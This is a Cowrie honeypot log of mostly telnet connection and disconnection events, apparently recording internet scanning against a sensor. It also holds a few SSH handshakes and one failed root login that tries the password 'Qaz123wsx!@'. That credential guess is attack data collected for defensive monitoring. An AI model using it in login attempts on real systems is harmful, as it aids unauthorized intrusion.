{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46404,"dst_ip":"159.203.135.109","dst_port":23,"session":"624468b35703","protocol":"telnet","message":"New connection: 202.91.32.11:46404 (159.203.135.109:23) [session: 624468b35703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:17.418328Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46414,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c7735564fa7","protocol":"telnet","message":"New connection: 202.91.32.11:46414 (159.203.135.109:23) [session: 5c7735564fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:18.627364Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46422,"dst_ip":"159.203.135.109","dst_port":23,"session":"43cd3365ece3","protocol":"telnet","message":"New connection: 202.91.32.11:46422 (159.203.135.109:23) [session: 43cd3365ece3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:18.666054Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35262,"dst_ip":"10.17.0.5","dst_port":23,"session":"33fde8b7b98f","protocol":"telnet","message":"New connection: 45.63.42.31:35262 (10.17.0.5:23) [session: 33fde8b7b98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:18.884403Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46430,"dst_ip":"159.203.135.109","dst_port":23,"session":"113797eba11d","protocol":"telnet","message":"New connection: 202.91.32.11:46430 (159.203.135.109:23) [session: 113797eba11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:19.037292Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":32946,"dst_ip":"10.17.0.5","dst_port":23,"session":"e292ef7a5798","protocol":"telnet","message":"New connection: 45.63.42.31:32946 (10.17.0.5:23) [session: e292ef7a5798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:19.671989Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46440,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1a8b99a1e02","protocol":"telnet","message":"New connection: 202.91.32.11:46440 (159.203.135.109:23) [session: d1a8b99a1e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:19.680441Z"}
{"eventid":"cowrie.session.closed","duration":31.372206449508667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:19.743401Z","src_ip":"202.91.32.11","session":"06b71d49ca2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":60612,"dst_ip":"10.17.0.5","dst_port":23,"session":"603176a32166","protocol":"telnet","message":"New connection: 103.115.172.252:60612 (10.17.0.5:23) [session: 603176a32166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:19.903920Z"}
{"eventid":"cowrie.session.closed","duration":32.31174325942993,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:19.988655Z","src_ip":"202.91.32.11","session":"7a8c311f4095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.91645646095276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:20.445954Z","src_ip":"202.91.32.11","session":"df7d0ee4c8f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":33534,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e2fab7e7083","protocol":"ssh","message":"New connection: 107.173.55.151:33534 (10.17.0.5:22) [session: 7e2fab7e7083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:20.685129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:20.690732Z","src_ip":"107.173.55.151","session":"7e2fab7e7083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:20.709808Z","src_ip":"107.173.55.151","session":"7e2fab7e7083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123wsx!@","message":"login attempt [root/Qaz123wsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:20.817432Z","src_ip":"107.173.55.151","session":"7e2fab7e7083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.491769790649414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:20.888444Z","src_ip":"202.91.32.11","session":"61729247c7a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.88078761100769,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:20.950535Z","src_ip":"45.63.42.31","session":"3a4d1fe932a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152812242507935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:21.124503Z","src_ip":"202.91.32.11","session":"e761cebbf6a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":60746,"dst_ip":"10.17.0.5","dst_port":23,"session":"1315e8d81ca3","protocol":"telnet","message":"New connection: 103.115.172.252:60746 (10.17.0.5:23) [session: 1315e8d81ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:21.158877Z"}
{"eventid":"cowrie.session.closed","duration":120.0017261505127,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:21.288110Z","src_ip":"103.115.172.252","session":"17035a3fe4ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46446,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e93ebaf8bd7","protocol":"telnet","message":"New connection: 202.91.32.11:46446 (159.203.135.109:23) [session: 3e93ebaf8bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:21.585782Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46462,"dst_ip":"159.203.135.109","dst_port":23,"session":"5358cfd130f7","protocol":"telnet","message":"New connection: 202.91.32.11:46462 (159.203.135.109:23) [session: 5358cfd130f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:21.809935Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:21.844558Z","src_ip":"107.173.55.151","session":"7e2fab7e7083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42886,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e4f7966e43","protocol":"telnet","message":"New connection: 45.63.42.31:42886 (10.17.0.5:23) [session: 05e4f7966e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:22.089813Z"}
{"eventid":"cowrie.session.closed","duration":31.078738927841187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:22.773147Z","src_ip":"202.91.32.11","session":"23613b815799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.701624155044556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:22.821305Z","src_ip":"202.91.32.11","session":"f9198926b6ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59280204772949,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:22.919199Z","src_ip":"202.91.32.11","session":"f872f35007ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744195461273193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:23.090781Z","src_ip":"202.91.32.11","session":"1bd42009c505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50746,"dst_ip":"159.203.135.109","dst_port":23,"session":"f763e57f6103","protocol":"telnet","message":"New connection: 202.91.32.11:50746 (159.203.135.109:23) [session: f763e57f6103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:23.781028Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50760,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eefed64c04f","protocol":"telnet","message":"New connection: 202.91.32.11:50760 (159.203.135.109:23) [session: 5eefed64c04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:24.662316Z"}
{"eventid":"cowrie.session.closed","duration":31.824586391448975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:24.789131Z","src_ip":"202.91.32.11","session":"200bbae3ef01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50768,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8aa44db4a46","protocol":"telnet","message":"New connection: 202.91.32.11:50768 (159.203.135.109:23) [session: f8aa44db4a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:24.877953Z"}
{"eventid":"cowrie.session.closed","duration":30.558927059173584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:25.054382Z","src_ip":"202.91.32.11","session":"6fe57472457c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50776,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b4846053b97","protocol":"telnet","message":"New connection: 202.91.32.11:50776 (159.203.135.109:23) [session: 9b4846053b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:25.179402Z"}
{"eventid":"cowrie.session.closed","duration":32.028637409210205,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:25.566040Z","src_ip":"202.91.32.11","session":"394b9a41aef8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50784,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43270cd5aa0","protocol":"telnet","message":"New connection: 202.91.32.11:50784 (159.203.135.109:23) [session: a43270cd5aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:26.201868Z"}
{"eventid":"cowrie.session.closed","duration":34.79138255119324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:26.263351Z","src_ip":"202.91.32.11","session":"08ea89fa3122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50800,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a046dcdd5a8","protocol":"telnet","message":"New connection: 202.91.32.11:50800 (159.203.135.109:23) [session: 0a046dcdd5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:26.285493Z"}
{"eventid":"cowrie.session.closed","duration":31.798380851745605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:26.609068Z","src_ip":"202.91.32.11","session":"041604ff2f62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15065622329712,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:26.753136Z","src_ip":"202.91.32.11","session":"ba4ee8500923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50810,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f46348ea0c9","protocol":"telnet","message":"New connection: 202.91.32.11:50810 (159.203.135.109:23) [session: 8f46348ea0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:27.054196Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50822,"dst_ip":"159.203.135.109","dst_port":23,"session":"34313af366aa","protocol":"telnet","message":"New connection: 202.91.32.11:50822 (159.203.135.109:23) [session: 34313af366aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:27.409440Z"}
{"eventid":"cowrie.session.closed","duration":30.71176505088806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:27.600962Z","src_ip":"202.91.32.11","session":"6880b358d358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50838,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebdbe46239ab","protocol":"telnet","message":"New connection: 202.91.32.11:50838 (159.203.135.109:23) [session: ebdbe46239ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:27.704871Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50850,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4f1e40cea81","protocol":"telnet","message":"New connection: 202.91.32.11:50850 (159.203.135.109:23) [session: c4f1e40cea81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:27.810249Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c7c7ecdd517","protocol":"telnet","message":"New connection: 202.91.32.11:50862 (159.203.135.109:23) [session: 5c7c7ecdd517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:27.920601Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56898,"dst_ip":"10.17.0.5","dst_port":23,"session":"647546a03d72","protocol":"telnet","message":"New connection: 45.63.42.31:56898 (10.17.0.5:23) [session: 647546a03d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:29.031704Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50864,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4fff9d06ede","protocol":"telnet","message":"New connection: 202.91.32.11:50864 (159.203.135.109:23) [session: c4fff9d06ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:29.122508Z"}
{"eventid":"cowrie.session.closed","duration":31.808160066604614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:29.320505Z","src_ip":"202.91.32.11","session":"eca2b3265249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3336865901947,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:29.858326Z","src_ip":"202.91.32.11","session":"b33e123b6c94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":57138,"dst_ip":"10.17.0.5","dst_port":23,"session":"7642e1c75d98","protocol":"telnet","message":"New connection: 45.63.42.31:57138 (10.17.0.5:23) [session: 7642e1c75d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:30.193808Z"}
{"eventid":"cowrie.session.closed","duration":31.57342267036438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:30.235620Z","src_ip":"202.91.32.11","session":"13afdd60861d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59278,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c7b1bb0dd83","protocol":"telnet","message":"New connection: 45.63.42.31:59278 (10.17.0.5:23) [session: 3c7b1bb0dd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:30.432276Z"}
{"eventid":"cowrie.session.closed","duration":31.76059865951538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:30.708238Z","src_ip":"202.91.32.11","session":"edb24fe26b9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968151807785034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:30.772752Z","src_ip":"202.91.32.11","session":"0cd532d7cb22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13276433944702,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:30.830425Z","src_ip":"202.91.32.11","session":"be9c2533d696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.746575355529785,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:30.892646Z","src_ip":"202.91.32.11","session":"9fe208631a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50878,"dst_ip":"159.203.135.109","dst_port":23,"session":"d92c7bbe7e03","protocol":"telnet","message":"New connection: 202.91.32.11:50878 (159.203.135.109:23) [session: d92c7bbe7e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:31.136950Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50880,"dst_ip":"159.203.135.109","dst_port":23,"session":"246a5c36b4f2","protocol":"telnet","message":"New connection: 202.91.32.11:50880 (159.203.135.109:23) [session: 246a5c36b4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:31.220192Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50890,"dst_ip":"159.203.135.109","dst_port":23,"session":"afc640084b11","protocol":"telnet","message":"New connection: 202.91.32.11:50890 (159.203.135.109:23) [session: afc640084b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:31.225561Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50906,"dst_ip":"159.203.135.109","dst_port":23,"session":"afef46ca9d28","protocol":"telnet","message":"New connection: 202.91.32.11:50906 (159.203.135.109:23) [session: afef46ca9d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:31.453355Z"}
{"eventid":"cowrie.session.closed","duration":31.00310444831848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:31.578615Z","src_ip":"202.91.32.11","session":"6469a73265b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50914,"dst_ip":"159.203.135.109","dst_port":23,"session":"3584ac72b614","protocol":"telnet","message":"New connection: 202.91.32.11:50914 (159.203.135.109:23) [session: 3584ac72b614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:32.237458Z"}
{"eventid":"cowrie.session.closed","duration":30.605412244796753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:32.390494Z","src_ip":"202.91.32.11","session":"5bff3b0a3d74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57152,"dst_ip":"159.203.135.109","dst_port":23,"session":"35213d629f0e","protocol":"telnet","message":"New connection: 202.91.32.11:57152 (159.203.135.109:23) [session: 35213d629f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:32.804259Z"}
{"eventid":"cowrie.session.closed","duration":31.864394426345825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:32.956025Z","src_ip":"202.91.32.11","session":"42e01a1510a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976990461349487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:33.170697Z","src_ip":"202.91.32.11","session":"986999ed0d20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57158,"dst_ip":"159.203.135.109","dst_port":23,"session":"42cc8270cf5c","protocol":"telnet","message":"New connection: 202.91.32.11:57158 (159.203.135.109:23) [session: 42cc8270cf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:33.657239Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57164,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eb871c091e2","protocol":"telnet","message":"New connection: 202.91.32.11:57164 (159.203.135.109:23) [session: 8eb871c091e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:33.865172Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57166,"dst_ip":"159.203.135.109","dst_port":23,"session":"720156dd0acc","protocol":"telnet","message":"New connection: 202.91.32.11:57166 (159.203.135.109:23) [session: 720156dd0acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:34.210579Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39204,"dst_ip":"10.17.0.5","dst_port":23,"session":"a577382b780a","protocol":"telnet","message":"New connection: 45.63.42.31:39204 (10.17.0.5:23) [session: a577382b780a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:34.742767Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39382,"dst_ip":"10.17.0.5","dst_port":23,"session":"50fac93c2b3d","protocol":"telnet","message":"New connection: 45.63.42.31:39382 (10.17.0.5:23) [session: 50fac93c2b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:34.815089Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57178,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7cbf24e3810","protocol":"telnet","message":"New connection: 202.91.32.11:57178 (159.203.135.109:23) [session: c7cbf24e3810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:35.175320Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":39377,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4c557424e6b","protocol":"ssh","message":"New connection: 78.134.49.171:39377 (159.203.135.109:22) [session: f4c557424e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:35.241789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:35.246980Z","src_ip":"78.134.49.171","session":"f4c557424e6b","protocol":"ssh"}
